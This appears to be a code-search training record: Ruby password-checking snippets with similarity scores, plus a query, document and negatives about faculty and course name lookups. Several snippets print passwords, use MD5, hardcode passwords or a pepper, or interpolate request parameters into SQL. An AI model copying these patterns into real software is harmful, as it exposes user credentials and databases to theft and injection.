"def test_password\n p1 = \"mypassword123\"\n p2 = \"mypassword1234\"\n s1 = Password.update(p1)\n assert_equal(true, Password.check(p1,s1), \"Password was not stored correctly\")\n assert_equal(false, Password.check(p2,s1), \"Password check is broken\")\n\tend",
"def password_required?; end",
"def valid_passwords(input)\n # Filter map is fun. If the output is falsy it filters it out, otherwise it\n # keeps our shiny new transformed output. Think of it as combining `select`\n # and `map` into one function. I believe it was added in 2.7\n input.filter_map do\n # Yes yes, english operators are evil and I should quit stealing from Perl\n # early escapes. It's still useful as `next` returns `nil` if `extract_password`\n # happens to return `nil`, meaning no matches, or an invalid line of input.\n extracted_password = extract_password(_1) or next\n\n # Now this line is fun! This is why we transformed the input into symbol\n # keys. This is one-line right hand assignment, which means each of those\n # keys are now valid variables we can use in the rest of the function.\n #\n # I may well ask if MatchData can behave more like this naturally later,\n # could you imagine how useful that'd be?\n extracted_password => {\n input:, low_count:, high_count:, target_letter:, password:\n }\n\n # Now to make those counts into ints we can use.\n low_count = low_count.to_i\n high_count = high_count.to_i\n\n # Then pull out the counts of each letter in the word, and get\n # only our target letter out of it. Again, not the most efficient, but\n # not the point of this exercise. Optimizing that is left as an\n # exercise to the reader.\n target_letter_count = letter_counts(password)[target_letter]\n\n # Now then, if that target letter count is between our high and low\n # bounds we return the input, otherwise we return `nil` meaning it's\n # invalid and it gets filtered out.\n (low_count..high_count).include?(target_letter_count) ? input : nil\n end\nend",
"def match_password_basic(p)\n puts \"p: #{p}\"\n puts \"password: #{password}\"\n p == password\n end",
"def valid_password?(plain)\n password == hash_crypt(plain.to_s) \n end",
"def same(userID, password)\n if (userID != password)\n false\n else (userID == password)\n true\n end\nend",
"def password_complexity\n if password.present? and not password.match(/\\A(?=.*[a-z])(?=.*[A-Z])(?=.*\\d).*/)\n errors.add :password, I18n.t('weak_password')\n end\n end",
"def is_password(password)\n if password.downcase == \"password\"\n puts \"Password cannot be the word password\"\n else \n puts \"Acceptable\"\n end\nend",
"def validates_password\n if user_password.blank? && password.blank?\n errors.add(:user_password, 'empty.password')\n elsif user_password.blank? && !password.blank? && password != password_verify\n errors.add(:user_password, 'invalid.password')\n elsif user_password.blank? && !password.blank? && password == password_verify\n self['user_password'] = password\n end\n end",
"def validate_password(password)\n return false unless @digest_parts.any? # RUBY\n\n @a1 = ::Digest::MD5.hexdigest(@digest_parts['username'] + ':' + @realm + ':' + password)\n validate\n end",
"def admin_login_method\n prompt = TTY::Prompt.new\n password = \"offandon\"\n\tpasswordfailcount = 0\n\t# Password login loop\n while passwordfailcount < 3\n puts \"\"\n if prompt.mask(\"Welcome to the application. Please enter your password:\") != password\n passwordfailcount += 1\n puts \"Incorrect. Please try again. Attempt #{passwordfailcount} of 3.\"\n else\n main\n end\n end\nend",
"def validate_password(password)\n raise 'Password cannot be empty!' if password.empty?\n end",
"def valid_password?(password, encrypted_password)\n\treturn false if encrypted_password.blank?\n\tbcrypt = ::BCrypt::Password.new(encrypted_password)\n pepper = \"39dd46bfe0dee2d2f5b98862b6b8bf24b736ee877efd5df95f48cf6ca5310b72d267f216d6138684de626297f2927ed7e99106058013e5d66d0b8ff3af8a234a\"\n\tpassword1 = ::BCrypt::Engine.hash_secret(\"#{password}#{pepper}\", bcrypt.salt)\n\tputs password1\n\tpassword = ::BCrypt::Engine.hash_secret(\"#{password}#{SecureRandom.hex(64)}\", bcrypt.salt)\n\tputs password\n\tputs encrypted_password\n\tstr = [password, nil].flatten.compact.join\n\tsecure_compare(Digest::MD5.hexdigest(str), encrypted_password)\n end",
"def validate_login_user(params)\n params[\"username\"] and params[\"password\"] and params[\"password\"] == params[\"password_2\"]\n end",
"def validate_password(password, password_hash)\n # Ensure the password is set\n return false unless password\n\n # Ensure the password hash is set\n return false unless password_hash\n\n # Check if the password is valid\n UnixCrypt.valid?(password, password_hash)\n end",
"def validate!\n return if username && password\n\n STDERR.puts(VALIDATION_MESSAGE)\n exit 1\n end",
"def valid_password? password\r\n self.password === Digest::MD5.hexdigest(password)[0..19]\r\n end",
"def password?\n password\n end",
"def log_in\n password_saved = \"password\"\n # TODO:\n # 1) Ask User for password\n # 2) Get an input from the user for password\n # 3) while the user's input is incorrect, print an error message and ask for it again\n puts \"Welcome. Please enter your password:\"\n while gets.chomp != password_saved\n puts \"Incorrect password. Please try again:\"\n end\n \"Successful login\"\nend",
"def has_password?(submitted_password)\n password == encrypt(submitted_password)\n end",
"def authenticate_with_password(input_password)\n return false unless self.valid_password?(input_password)\n authenticate\n end",
"def Same(userID, password)\n if userID != password\n puts \"true\"\n else\n puts \"false\"\n end\nend",
"def verify_password(password)\n hash_password(password) == @password_hash\n end",
"def validate_password(new_password)\n new_password.is_a?(String) && new_password.length >= 6 && new_password =~ /\\d/\n end",
"def validate_password(new_password)\n new_password.is_a?(String) && new_password.length >= 6 && new_password =~ /\\d/\n end",
"def password_requirements(&block) #:nodoc:\n self.send(:define_method, :is_valid_password?, block)\n end",
"def query_ask\n password = false\n password = query_generate_password if @can_generate\n\n while !password\n answers = []\n [0,1].each{ |x|\n say \"please enter a password:\" if x == 0\n say \"please confirm the password:\" if x == 1\n answers[x] = super\n }\n if answers.first == answers.last\n password = answers.first\n else\n say_yellow( 'WARNING: passwords did not match! Please try again.' )\n end\n end\n\n encrypt password\n end",
"def validate_pwd(pwd)\r\n message = \"\"\r\n message << \"Password must have at least 8 characters. \" unless\r\n pwd.length > 7\r\n message << \"Password must have at least one number. \" unless\r\n /\\d/.match(pwd)\r\n message << \"Password must have at least one letter. \" unless\r\n /[[:alpha:]]/.match(pwd)\r\n message == \"\" ? (return true) : (return message)\r\nend",
"def password_complexity\n return if password.blank? || password =~ /^(?=.*?[A-Z])(?=.*?[a-z])(?=.*?[0-9]).{8,20}$/\n\n errors.add :password, 'Password complexity requirement not met.'\n end",
"def call\n validate_equality\n user = context.user\n return if user.update(password: context.user_password_params[:password])\n\n context.fail!(message: user.errors.full_messages)\n end",
"def password_requirements(&block) #:nodoc:\n (class << self; self end).send(:define_method, :is_valid_password?, block)\n end",
"def check_pw pw\n (encrypt pw) == (self[:password])\n end",
"def authenticate password\n if self.password == password\n true\n else\n false\n end\n end",
"def valid_password?\n password.present?\n end",
"def valid_password?\n password.present?\n end",
"def has_password?(submitted_password)\n valid_password?(submitted_password)\n end",
"def password\n puts \"Please provide a four digit password!\"\n #sets a pin globally!\n $pin = gets.chomp\n unless $pin.length != 4 \n #$accounthash = {pw: $pin}\n choose(\" \")\n else\n puts \"The password should have four digits! Please try again!\"\n password\n end\n end",
"def check_password(v, user = @user)\n if @opaque\n raise InvalidURIError,\n \"can not set password with opaque\"\n end\n return v unless v\n\n if !user\n raise InvalidURIError,\n \"password component depends user component\"\n end\n\n if parser.regexp[:USERINFO] !~ v\n raise InvalidComponentError,\n \"bad password component\"\n end\n\n return true\n end",
"def verify_password(username, password)\n params = {\n \"user\" => username,\n \"passwd\" => password\n }\n\n response = request(:post, \"/CMD_API_VERIFY_PASSWORD\", params)\n\n if response.has_key?(\"valid\")\n Integer(response[\"valid\"]) == 1\n end\n end",
"def valid_password?( salty_password=nil, authkey=nil, username=nil )\n # nil values?\n return nil if salty_password.nil? or authkey.nil? or username.nil?\n # empty strings?\n return nil if salty_password.empty? or authkey.empty? or username.empty?\n # unknown users?\n return nil unless @passwds.keys.include?( username )\n\n # valid password?\n return true if salty_password == Digest::MD5.hexdigest( authkey << @passwds[username] )\n\n # just to be safe\n return nil\n end",
"def authenticate(password)\n user && user.password == password\n end",
"def matching_password?(pass)\n self.password_hash == encrypt_password(pass)\n end",
"def validate(password)\n response = {\n status: 'OK', message: ''\n }\n digits = password.split('').map(&:to_i)\n\n if is_in_sequence(digits)\n response[:status] = 'Error'\n response[:message] = \"Numbers cannot consecutively go up or down.\"\n end\n response\nend",
"def valid_for_api_authentication?(password=nil)\n # the valid_for_authentication? method is defined in Devise's models/authenticatable.rb\n valid_for_authentication? do\n # check if password is correct\n valid_password?(password)\n end\n end",
"def password_complexity\n if password.present? and not password.match('^(?=.*[a-z])(?=.*[A-Z])(?=.*\\d)(?=.*[$@$!%*?&#]).{8,}')\n errors.add :password, \"must include at least one lowercase letter, one uppercase letter,one Special Character and one digit\"\n end\n end",
"def check_password(password)\n return false unless key\n key == self.class.hash_password(password, key.split('|', 2).first)\n end",
"def password_complexity\n # Regexp extracted from https://stackoverflow.com/questions/19605150/regex-for-password-must-contain-at-least-eight-characters-at-least-one-number-a\n return if password.blank? || password =~ /^(?=.*[a-z])(?=.*[A-Z])(?=.*\\d)(?=.*[@$!%*?&])[A-Za-z\\d@$!%*?&]{8,}$/\n errors.add :password, ' must have the following requirements: password must be at least 8 character, with a capital letter, a number, and a special character'\n end",
"def has_password?(submitted_password)\n\tpassword == encrypt(submitted_password) \n end",
"def password_match\n if password != confirm_password\n errors.add(:password, \"doesn't match\")\n end\n end",
"def require_password\n\t\t\treturn (params[:password] and params[:password] == @server.password)\n\t\tend",
"def enter_password\n end",
"def cdb_verify_password(given_password)\n encrypt_password(given_password) == @password\n end",
"def validate_password\n score = []\n score << repetitive_substring(@row[\"password\"])\n score << string_length(@row[\"password\"])\n score << upper_lower_case(@row[\"password\"])\n score << digit(@row[\"password\"])\n character_change = score.sum\n @row[\"status\"] = (character_change.zero? ? \"Strong\" : character_change)\n return @row\n end",
"def has_password?(submitted_password)\n # Return true if the user's password matches the submitted password.\n # Compare encrypted_password with the encrypted version of submitted_password\n encrypted_password == encrypt(submitted_password) \n end",
"def authenticate password\n hash = BCrypt::Engine.hash_secret password, password_salt\n hash == password_hash\n end",
"def update_password\n user = UserService.getUserById(params[:id])\n if !user.authenticate(params[:password])\n redirect_to change_password_user_path, notice: Messages::INCORRECT_PASSWORD\n elsif params[:new_password] != params[:new_password_confirmation]\n redirect_to change_password_user_path, notice: Messages::INCORRECT_PASSWORD_CONFIRM\n else\n isUpdatedPassword = UserService.updatePassword(user, params)\n if isUpdatedPassword\n redirect_to users_path\n else\n redirect_to change_password_user_path\n end\n end\n end",
"def same?(params)\n User.find(params[:user_id]).play(PasswordRole) { |user|\n user.same_password?(params[:password])\n }\n end",
"def authenticate(user, password)\n salt = user.password_salt \n\n hash = PBKDF2.new do |p|\n p.password = password.unpack(\"B*\").first\n p.salt = salt\n p.iterations = 10000\n end\n\n pass_hash = hash.hex_string\n \n pass_hash == user.password_hash \n end"
] | [
"0.787579",
"0.738624",
"0.72956103",
"0.7281831",
"0.72310627",
"0.72258794",
"0.71474636",
"0.71118766",
"0.70909023",
"0.69785327",
"0.69628257",
"0.69377697",
"0.68654037",
"0.68412006",
"0.68141174",
"0.6794655",
"0.6747935",
"0.67042255",
"0.66906774",
"0.6677294",
"0.6675803",
"0.66751766",
"0.6661705",
"0.6643185",
"0.6632671",
"0.66305196",
"0.6619152",
"0.66174555",
"0.65817297",
"0.6577177",
"0.6562731",
"0.65602404",
"0.655778",
"0.6548877",
"0.6536971",
"0.6535476",
"0.6528716",
"0.65221393",
"0.6499955",
"0.64977133",
"0.6496049",
"0.64939106",
"0.64878595",
"0.64670837",
"0.64613026",
"0.64519376",
"0.64358914",
"0.64301383",
"0.6428165",
"0.64065784",
"0.63953054",
"0.6384291",
"0.63804525",
"0.63752675",
"0.6373653",
"0.63697946",
"0.63678575",
"0.63594085",
"0.6347727",
"0.6316458",
"0.6300152",
"0.62968886",
"0.6295987",
"0.62945664",
"0.62905854",
"0.6289089",
"0.6289089",
"0.62862235",
"0.62861925",
"0.628434",
"0.62841463",
"0.6281792",
"0.6275175",
"0.62653196",
"0.6264954",
"0.62583506",
"0.62583506",
"0.62559175",
"0.6254541",
"0.6247214",
"0.6244016",
"0.6239016",
"0.6237902",
"0.62291044",
"0.62269145",
"0.62174827",
"0.6213592",
"0.6212704",
"0.62110853",
"0.62090486",
"0.62040174",
"0.62011254",
"0.6200123",
"0.6192721",
"0.6183716",
"0.6181636",
"0.61747104",
"0.616205",
"0.6156886",
"0.6156712"
] | 0.8541679 | 0 |
Searching for names of faculties, courses and groups to store in db | def names(options_tag)
names = options_tag.map { |option| option.text }
names.reject! { |s| s.nil? || s.strip.empty? || s == '\n' || s == "\u00A0"}
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def search_festival_database(list_festival_name, year)\n # try to find festival's in database for each name\n list_festival_name.each do |festival_name|\n festival = Festival.find_one_by_name_and_year(\n festival_name.tr('-', ' '),\n festival_name, year\n )\n if festival\n @festival = festival\n break\n end\n end\n end",
"def update_faculty(members)\n return \"\" if members.nil?\n\n msg = \"\"\n members.each do |name|\n person = Person.find_by_human_name(name)\n if person.nil?\n all_valid_names = false\n msg = msg + \"'\" + name + \"' is not in the database. \"\n #This next line doesn't quite seem to work\n self.errors.add(:person_name, \"Person \" + name + \" not found\")\n else\n self.faculty << person\n end\n end\n return msg\n end",
"def suggest_course \r\n school = School.find(params[:nid]) rescue render_return \r\n render_return unless logged_in_user.see_course?(school)\r\n course_name = params[:cn] || \"\"\r\n render_return if course_name.size < 4\r\n \r\n course_number = []\r\n name_or_subject = []\r\n (values = course_name.split(\" \")).each do |portion| \r\n if portion =~ /\\d+/\r\n course_number << portion\r\n else #if portion.size >= 3\r\n name_or_subject << portion \r\n end\r\n end\r\n course_number = course_number.join('')\r\n name_or_subject = name_or_subject.join('%') \r\n \r\n number_condition = course_number.size > 0 ? \"number LIKE '#{course_number}%'\" : \"true\"\r\n results = Course.find(:all,:limit=>10,:order=>\"CAST(number AS SIGNED) ASC\",\r\n :conditions=><<-eof \r\n school_id = #{school.id} AND status IN ('approved','pending') \r\n AND (subject_code LIKE '%#{name_or_subject}%' OR name LIKE '%#{name_or_subject}%') AND #{number_condition}\r\n eof\r\n ).map{|c| \r\n name = c.subject_code.gsub(/(#{name_or_subject})/i,'{\\1}') + \" \" + \r\n (course_number.size > 0 ? c.number.gsub(/(#{course_number})/i,'{\\1}') : c.number) + \r\n \" - \" + \r\n c.name.gsub(/(#{name_or_subject})/i,'{\\1}')\r\n {:name=>name,:id=>c.id}\r\n }\r\n render :text=>results.to_json\r\n end",
"def search_for_group\n @groups = @login_user.all_groups(params[:term])\n @usernames = []\n @groups.collect{|group| @usernames << group.name}\n respond_to do |format|\n format.json { render :json => @usernames }\n end\n end",
"def update_faculty(members)\n self.faculty_was = self.faculty\n self.faculty = []\n return \"\" if members.nil?\n\n msg = \"\"\n members.each do |name|\n person = Person.find_by_human_name(name)\n if person.nil?\n all_valid_names = false\n msg = msg + \"'\" + name + \"' is not in the database. \"\n #This next line doesn't quite seem to work\n self.errors.add(:person_name, \"Person \" + name + \" not found\")\n else\n self.faculty << person\n end\n end\n return msg\n end",
"def search_festival_scrapping(list_festival_name, year)\n # try to find festival's data for each name\n list_festival_name.each do |festival_name|\n url = \"#{Rails.configuration.behaviour['scrapping']['base_url']}#{festival_name}/\"\n\n # First we ping the URL to see if it exists\n resp = Net::HTTP.get_response(URI.parse(url))\n next unless /20\\d/ =~ resp.code\n # then we scrap\n page = Nokogiri::HTML(open(url))\n # create Festival if necessary\n if @festival.instance_of?(Festival) && @festival.valid?\n festival = @festival\n else\n name = page.css('header.entry-header.wrapper h1 span').text\n short_name = name.gsub(/ 20\\d{2}$| festival/i, '')\n params = ActionController::Parameters.new(\n festival: {\n name: name,\n short_name: short_name,\n slug: festival_name,\n url: url,\n year: year\n }\n )\n festival = Festival.create(params.require(:festival).permit!)\n end\n\n # headliners\n page.css('.placeholder2 .f_headliner .f_artist').each do |artist|\n artist_name = artist.text\n slug = artist_name.strip\n .downcase.gsub(/\\A\\p{Space}*|\\p{Space}*\\z/, '')\n # Search Artist in database before creating it\n new_artist = Artist.create_if_not_found(artist_name, slug)\n next if !new_artist.valid? || festival.artists.include?(new_artist)\n festival.festivals_artists.create_headliner(new_artist)\n end\n\n # lineup\n page.css('.lineupguide ul li').each do |artist|\n artist_name = artist.text\n slug = artist_name.strip\n .downcase.gsub(/\\A\\p{Space}*|\\p{Space}*\\z/, '')\n # Search Artist in database before creating it\n new_artist = Artist.create_if_not_found(artist_name, slug)\n next if !new_artist.valid? || festival.artists.include?(new_artist)\n festival.artists << new_artist\n end\n\n # Save and return Festival\n if festival.instance_of?(Festival) && festival.valid? && festival.save\n @festival = festival\n end\n end\n end",
"def search_by_name(name)\n name = name.capitalize\n result_name = []\n @name_list.each_value do |element|\n if element.include? name\n result_name.push(element)\n end\n end\n if result_name.empty?\n puts \"Nobody has name is #{name}\"\n else\n puts \"\\nList member of #{name} keyword\"\n result_name.each do |element|\n index = @name_list.values.index(element)\n show_profile(index, @name_list, @dob_list)\n end\n puts \"\\n\"\n end\n end",
"def results\n @students = Student.where('name LIKE ?', \"%#{params[:q]}%\")\n end",
"def search_by_strings(options)\n if options[:categorie].present?\n if options[:tag].present?\n # Search by Categorie AND Tag\n return Course.select(\"courses.title, courses.slug, courses.date, courses.id\")\n .distinct\n .joins(:taggings)\n .joins(:tags)\n .joins(:categorie)\n .where(\"tags.name = ? AND categories.name = ?\", options[:tag].to_s, options[:categorie].to_s)\n else\n # Search by Categorie\n return Course.select(\"*\")\n .joins(:categorie)\n .where(\"categories.name = ?\", options[:categorie].to_s)\n end\n end\n if options[:tag].present?\n # Search by Tag\n return Course.select(\"courses.title, courses.slug, courses.date, courses.id\")\n .distinct\n .joins(:taggings)\n .joins(:tags)\n .where(\"tags.name = ?\", options[:tag].to_s)\n end\n nil\n end",
"def find_by_name(name)\n select(\"* FROM groups\")\n .where(\"name = #{name}\")\n end",
"def find_by_name(entry)\n names = []\n self.all.each do |item|\n if item.name.downcase.include? entry\n names << item \n end\n end\n names\n end",
"def get_courses_by_name(org_unit_name)\n get_courses_by_property_by_string('Name', org_unit_name)\nend",
"def search\n name = sanitize(params[:name]).gsub(\"\\\"\", \"\\\\\\\"\").gsub(\"'\", \"\\\\'\")\n raise RequestError.new(:bad_params, \"Search name invalid\") if name.nil? || name.empty?\n\n users = []\n User.all(:login.like => \"%#{name}%\").each do |user|\n users.push user.description if user != session[:user] && !session[:user].admin?\n users.push user.private_description if user != session[:user] && session[:user].admin?\n end\n\n private_files = []\n session[:user].x_files.all(:name.like => \"%#{name}%\").each do |file|\n private_files.push( file.description(session[:user]) ) if file.folder || (!file.folder && file.uploaded)\n end\n \n public_files = []\n XFile.all(public: true, :name.like => \"%#{name}%\").each do |file|\n public_files.push( file.description(session[:user]) ) if file.folder || (!file.folder && file.uploaded)\n end\n\n @result = { success: true, users: users, private_files: private_files, public_files: public_files }\n end",
"def index\n if params[:search]\n @groups = Group.search((params[:search]).to_s.downcase)\n end\n end",
"def get_staff_groups(ldap:, users_groups:)\n filter = Net::LDAP::Filter.eq( 'objectCategory', 'group' ) & Net::LDAP::Filter.eq('cn', '*.staff.uos')\n treebase = 'dc=UoA,dc=auckland,dc=ac,dc=nz'\n\n ldap.search( base: treebase, filter: filter, attributes: [ 'member' ] ) do |entry|\n # eg CN=SCIFAC.staff.uos,OU=uos,OU=Groups,DC=UoA,DC=auckland,DC=ac,DC=nz\n group = entry.dn.split(',')[0].split('=')[1].split('.')[0]\n entry.each do |attribute, values|\n next unless attribute =~ /^member/ # Getting empty member attributes, and new attribute: member;range=0-XXXX for SCIFAC and MEDFAC.\n\n values.each do |value|\n member = value.split('=')[1].split(',')[0]\n users_groups[member] ||= [] # If this is the users first group, then create an Array\n # Add this group to this users group Array, only if group not already in Array\n group_def = @academic_department_code_to_faculty[group]\n if (group_def != nil && (faculty = group_def['faculty'])) != nil && faculty != '' && users_groups[member].include?(faculty) == false\n users_groups[member] << faculty\n end\n end\n end\n end\nend",
"def fees_student_structure_search_logic # student search fees structure\n query = params[:query]\n unless query.length < 3\n @students_result = Student.find(:all,\n :conditions => [\"first_name LIKE ? OR middle_name LIKE ? OR last_name LIKE ?\n OR admission_no = ? OR (concat(first_name, \\\" \\\", last_name) LIKE ? ) \",\n \"#{query}%\", \"#{query}%\", \"#{query}%\", \"#{query}\", \"#{query}\"],\n :order => \"batch_id asc,first_name asc\") unless query == ''\n else\n @students_result = Student.find(:all,\n :conditions => [\"admission_no = ? \", query],\n :order => \"batch_id asc,first_name asc\") unless query == ''\n end\n render :layout => false\n end",
"def faculties\n @faculties = Faculty.where(university_id: params[:university_id]).order(:name)\n @courses = []\n respond_to do |format|\n format.json { render json: @faculties }\n end\n end",
"def name_conditions\n [\"(lower(users.first_name) LIKE ? AND lower(users.last_name) LIKE ?) OR (lower(users.first_name) LIKE ? AND lower(users.last_name) LIKE ?)\", \"%#{first_name}%\", \"%#{last_name}%\", \"%#{last_name}%\", \"%#{first_name}%\"] unless name.blank?\n end",
"def search\n query = \"%\" + params[:search] + \"%\"\n @course = Course.where(\"name LIKE ?\", query)\n # if params[:search]\n # @course = Course.where(params:[:search]).order(\"created_at DESC\")\n # else\n # @course = Course.all.order(\"created_at DESC\")\n #This was causing an error with the search\n #@courses = Course.all;\n #end\n end",
"def index\n field = params[:field]\n keyword = params[:keyword]\n lessons = Lesson.joins(:course)\n if field.present? && keyword.present?\n if field == 'course_id'\n lessons = lessons.where(['courses.name like ?', \"%#{keyword}%\"])\n else\n lessons = lessons.where([\"lessons.#{field} like ?\", \"%#{keyword}%\"])\n end\n end\n @lessons = lessons.select('lessons.*', 'courses.name as course_name').page(params[:page]).per(params[:per])\n end",
"def advanced_search # :nologin: :norobots:\n begin\n query = find_query(:Name)\n show_selected_names(query)\n rescue => err\n flash_error(err.to_s) if !err.blank?\n redirect_to(:controller => 'observer', :action => 'advanced_search_form')\n end\n end",
"def faculty_list()\n # If we have loaded the faculty list, use it\n # (usually the case for teams)...\n if item.faculty.count > 0\n return item.faculty\n end\n\n # ...otherwise build it from the list of people (array of OrgMemberItem)\n # This is needed because we don't store the entire faculty info\n # for organizations in Solr.\n ids = item.people.map {|person| person.vivo_id}.uniq\n list = Faculty.load_from_solr_many(ids)\n list\n end",
"def handle_courses(course_names)\n return if !self.undergrad? || course_names.nil?\n self.courses = [] # eliminates any previous enrollments so as to avoid duplicates\n course_array = []\n course_array = course_names.split(',').uniq if course_names\n course_array.each do |item|\n self.courses << Course.find_or_create_by(name: item.upcase.strip)\n end\n end",
"def occupations\n model_names = %w( State Metro )\n\n CSV.foreach('db/fixtures/occupations.csv', headers: true) do |row|\n\n census_id = row['census_id']\n geography = row['geography']\n occ_type = row['occ_type']\n occ_salary = row['occ_salary']\n\n\n record = Occupation.where(explainable_id: census_id, occ_type: occ_type, explainable_type: geography)\n\n if record.empty?\n model_names.each do |model_name|\n model = Module.const_get model_name\n if model.name == geography\n geography = model.find(census_id)\n geography.occupations.create(occ_type: occ_type, occ_salary: occ_salary)\n end\n end\n end\n end\nend",
"def course\n if validateurl({\"name\": params[:name], \"semester\": params[:semester], \"coursename\": params[:course]})\n @semester = params[:semester]\n @coursename = params[:course]\n courseid = Course.select(\"id\").where(\"name = '\" + @coursename + \"' AND semester = '\" + @semester + \"'\" ).ids[0].to_s\n @students = ActiveRecord::Base.connection.execute(\"SELECT grades.grade, students.name FROM grades, students WHERE '\" + courseid.to_s + \"' = grades.course_id AND '\" + @semester.to_s + \"' = grades.semester AND students.id = grades.student_id\")\n end\n end",
"def build_lookup_belongs(blank = nil)\n # TODO: Remove rescue statement\n @departments = Department.find_all_for_select_option(blank) rescue [['ERROR','']]\n @users = User.find_all_for_select_option(blank) rescue [['ERROR','']]\n @privacies = [[print_words('private').capitalize_words,false],[print_words('public').capitalize_words,true]]\n \n @addressbook_groups = AddressbookGroup.find_all_for_select_option(blank) rescue [['ERROR','']]\n \n end",
"def list\n #no objects of class (as compared to previous lab)\n #no array!\n @courses = Course.where(\"instructor='John'\")\n end",
"def index\n if(params[:user_id])\n @lab_groups = LabGroup.find(\n :all,\n :include => :lab_memberships,\n :conditions => [ \"lab_memberships.user_id = ?\", params[:user_id] ]\n )\n elsif(params[:name])\n @lab_groups = LabGroup.find(\n :all,\n :conditions => {:name => params[:name]}\n )\n else\n @lab_groups = LabGroup.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lab_groups }\n end\n end",
"def search\n # figure out if the search parameter looks like a first or last name only, or both\n @search = params[:search]\n if @search && !@search.empty?\n \tnames = @search.strip.split(' ')\n \tconditions = [[],[]]\n \tif (names.size > 1)\n\t \tfirst = names[0].to_s\n \t\tlast = names[1].to_s\n\t \tconditions[0] << \"#{_(:last_name, :person)} LIKE ? AND #{_(:first_name, :person)} LIKE ? \"\n\t \tconditions[1] << last + \"%\"\n\t \tconditions[1] << first + \"%\"\n\t \telse\n\t \t name = names.join\n\t \t\tconditions[0] << \"(#{_(:last_name, :person)} LIKE ? OR #{_(:first_name, :person)} LIKE ?) \"\n\t \t\tconditions[1] << name+'%'\n\t \t\tconditions[1] << name+'%' \n\t \tend\n\t \tif params[:filter_ids].present?\n\t \t conditions[0] << \"#{_(:id, :person)} NOT IN(?)\"\n\t \t conditions[1] << params[:filter_ids]\n \t end\n \t \n \t # Scope by the user's ministry / campus involvements\n \t involvement_condition = \"(\"\n \t if my_campus_ids.present?\n \t involvement_condition += \"#{CampusInvolvement.table_name}.#{_(:campus_id, :campus_involvement)} IN(?) OR \" \n \t \tconditions[1] << my_campus_ids\n \t end\n \t involvement_condition += \"#{MinistryInvolvement.table_name}.#{_(:ministry_id, :ministry_involvement)} IN(?) )\" \n \t \n\t \tconditions[0] << involvement_condition\n\t \tconditions[1] << current_ministry.self_plus_descendants.collect(&:id)\n\t \t\n\t \t@conditions = [ conditions[0].join(' AND ') ] + conditions[1]\n \n includes = [:current_address, :campus_involvements, :ministry_involvements]\n\t \t@people = Person.find(:all, :order => \"#{_(:last_name, :person)}, #{_(:first_name, :person)}\", :conditions => @conditions, :include => includes)\n\t \trespond_to do |format|\n\t \t if params[:context]\n\t \t format.js {render :partial => params[:context] + '/results', :locals => {:people => @people, :type => params[:type], :group_id => params[:group_id]}}\n \t else\n \t format.js {render :action => 'results'}\n\t end\n\t \tend\n\t else\n\t render :nothing => true\n\t end\n end",
"def search(category, query_term)\n result = @conn.exec(\"SELECT * FROM students_db WHERE '#{category}' = '#{query_term}';\")\n result.each do |student|\n student.each do |k,v|\n puts \"#{k}: #{v}\"\n end\n end\nend",
"def index\r\n @search_term = params[:search]\r\n # Do search using scoped_search. If search term is empty then all records are returned.\r\n @courses = Course.available.full_search(@search_term).order(:title).page(params[:page])\r\n\r\n # Load category.\r\n @category = nil\r\n if params[:category]\r\n @courses = @courses.where(category_id: params[:category])\r\n @category = Category.find params[:category]\r\n end\r\n\r\n # Filter by college if needed.\r\n if params[:college]\r\n @courses = @courses.where(college_id: params[:college])\r\n end\r\n end",
"def auto_complete_for_club_member_login\n\n # split by spaces, downcase and create query for each.\n # Remember to Sanitize the SQL\n conditions = params[:club_member][:login].downcase.split.map {\n\t\t # Sanitize ***********************************\n\t\t |w| \"LOWER(login) LIKE '%\" + (w.gsub(/\\\\/, '\\&\\&').gsub(/'/, \"''\")) +\"%'\" } # AND the queries.\n\n # AND the queries.\n find_options = {\n :conditions => conditions.join(\" AND \"),\n :order => \"login ASC\",\n :limit => AC_CLUB_MEMBER_NAME_LIMIT }\n\n @items = ClubMember.find(:all, find_options)\n\n render :inline => \"<%= auto_complete_result_2 @items %>\"\n end",
"def search(category, query_term)\n result = @conn.exec(\"SELECT * FROM students WHERE #{category} = '#{query_term}';\")\n result.each do |student|\n student.each do |k,v|\n puts \"#{k}: #{v}\"\n end\nend\nend",
"def search_through_names\r\n\t\tprofile_list = Array.new\r\n\t\ti=0.0\r\n\t\tnf = File.open(@name_file)\r\n\t\tnf.each_line do |line|\r\n\t\t\tif line != nil\r\n\t\t\t\ti = i + 1.0\r\n\t\t\t\turl_to_search = construct_search_url(line.chomp)\r\n\t\t\t\tif url_to_search != false\r\n\t\t\t\turl_list_to_scrape = get_profile_url_list(url_to_search)\r\n\t\t\t\tif url_list_to_scrape != nil #just check that there are profiles to scrape in this list...\r\n\t\t\t\t\turl_list_to_scrape.each do |profile_url|#could parrelize at this level.\r\n\t\t\t\t\t\ti=i+0.1\r\n\t\t\t\t\t\tprofile_list << scrape_profile(profile_url.to_s,i)\r\n\t\t\t\t\tend\t\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\t\tend\r\n\t\tend\r\n\t\tsave_profiles_to_xml(profile_list)\r\n\tend",
"def index\n if @course.groups.size.zero? && @course.students.size.positive? && @course.projects.size.positive?\n group_service = GroupCreationManager::GroupMatcher.new\n group_service.determine_algo_and_match(@course, params)\n @course.update(has_group: true)\n end\n if @course.has_group && @course.state != \"view_groups\"\n @course.update(state: \"view_groups\")\n end\n @groups = @course.groups\n @group ||= @course.groups.first\n if current_user.type == 'Professor'\n current_user.current_course_id = @course.id\n current_user.save\n end\n respond_to do |format|\n format.html\n format.csv {send_data @groups.to_csv, filename: \"groups-#{Date.today}.csv\"}\n end\n end",
"def searchName\n @nombre=params[:nombre]\n @death_record_items=buscarNombre(@nombre)\n end",
"def search_groups\n @search_text = params[:search_text]\n @discussion_groups = @login_user.find_public_groups(params[:search_text], 1) if !params[:search_text].nil?\n end",
"def find\n\t\trender json: Subject.where(\"name LIKE ?\",\"%#{params[:term].titlecase}%\")\n\tend",
"def get_faculty(affi_string)\n $affi_faculties.each do |faculty|\n if affi_string.include?(faculty)\n return faculty\n end\n end\n return nil\nend",
